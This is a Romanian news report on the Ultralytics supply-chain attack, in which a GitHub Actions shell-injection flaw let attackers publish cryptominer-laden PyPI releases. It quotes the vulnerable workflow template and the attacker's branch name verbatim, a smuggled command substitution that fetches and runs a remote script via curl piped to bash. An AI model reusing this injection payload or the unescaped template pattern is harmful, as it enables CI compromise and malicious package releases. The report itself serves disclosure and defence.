O eroare în procesorul GitHub Actions a dus la publicarea de lansări malițioase Ultralytics.

Atacatorii au reușit să execute cod cu privilegiile handler-ului GitHub Actions în repertoriul bibliotecii Python Ultralytics, utilizată pentru rezolvarea sarcinilor de viziune computerizată, cum ar fi identificarea obiectelor în imagini și segmentarea imaginilor. După obținerea accesului la repertoriu, atacatorii au publicat în catalogul PyPI mai multe versiuni noi de Ultralytics, care conțineau modificări maligne pentru minerit de criptomonede. În ultima lună, biblioteca Ultralytics a fost descărcată din catalogul PyPI de peste 6,4 milioane de ori.

Pentru compromiterea repertoriului s-a folosit o vulnerabilitate în pachetul ultralytics-actions, utilizat pentru a lansa automat handleri atunci când se efectuează anumite acțiuni cu repertoriul pe GitHub, folosind mecanismul GitHub Actions. În proiectul ultralytics, handlerul vulnerabil era legat de evenimentul pull_request_target și era apelat la primirea de noi pull requesturi. În special, pentru formatarea codului din pull requesturile trimise, era apelat handlerul format.yml și era executat codul specificat în secțiunea „run” a fișierului action.yml, în care erau comenzi shell cu șabloane de substituție: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»

Astfel, în comenzile shell erau introduse fără o corectă escapare numele ramurii Git menționate în pull request. Este demn de remarcat că, în luna august, în pachetul ultralytics-actions a fost deja corectată o vulnerabilitate similară, legată de utilizarea unei valori externe în funcția echo: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»

Pentru a organiza executarea codului lor în contextul handler-ului GitHub Actions, atacatorii au trimis un pull request în repertoriul ultralytics, indicând ca nume de ramură: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Prin urmare, la primirea pull requestului, în cod a fost înlocuită stringul specificat de atacatori „$(…)”, care, la următoarea execuție a handler-ului, a dus la executarea codului „curl -sSfL raw.githubusercontent.com/…/file.sh | bash”.

O eroare în procesorul GitHub Actions a dus la publicarea de lansări malițioase Ultralytics.

Executarea codului în contextul GitHub Actions poate fi folosită pentru a captura un token de acces la repository și alte date confidențiale. Cum exact au reușit atacatorii să formeze o versiune, obținând posibilitatea de a-și executa codul în GitHub Actions, nu este încă clar; se speculează că acest lucru a fost posibil datorită modificării handler-ului publish.yml (atacatorii au eliminat verificarea contului din care este permisă publicarea de versiuni în PyPI) și utilizării tehnicii de contaminare a cache-ului de construcție GitHub Actions pentru a substitui datele lor în versiune.

Prima versiune malițioasă Ultralytics 8.3.41 a fost publicată de atacatori în catalogul PyPI pe 4 decembrie la 23:51 (MSK) și a fost eliminată a doua zi la 12:15. La 15:47 a fost publicată o altă versiune 8.3.42, care a fost eliminată la 16:47. Astfel, versiunile malițioase au fost disponibile pentru descărcare timp de aproximativ 13 ore (în fiecare zi, în PyPI se înregistrează aproximativ 250.000 de descărcări ale bibliotecii ultralytics). În compunerea versiunilor 8.3.41 și 8.3.42 se afla cod care efectua descărcări externe. server componentelor XMRig pentru mineritul criptomonedelor.

Dezvoltatorii proiectului au remediat problema și au creat versiuni corective 8.3.43 și 8.3.44, dar la două zile după aceea a avut loc o altă atacă, în care atacatorii au publicat astăzi la 04:41 și 05:27 (MSK) două versiuni malițioase suplimentare — 8.3.45 și 8.3.46, care conțin un alt cod pentru minerit. Până la finalizarea investigației, utilizatorilor li se recomandă să aștepte înainte de a instala noile versiuni și să își blocheze dependențele la versiunea 8.3.44.

Sursa: opennet.ro

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster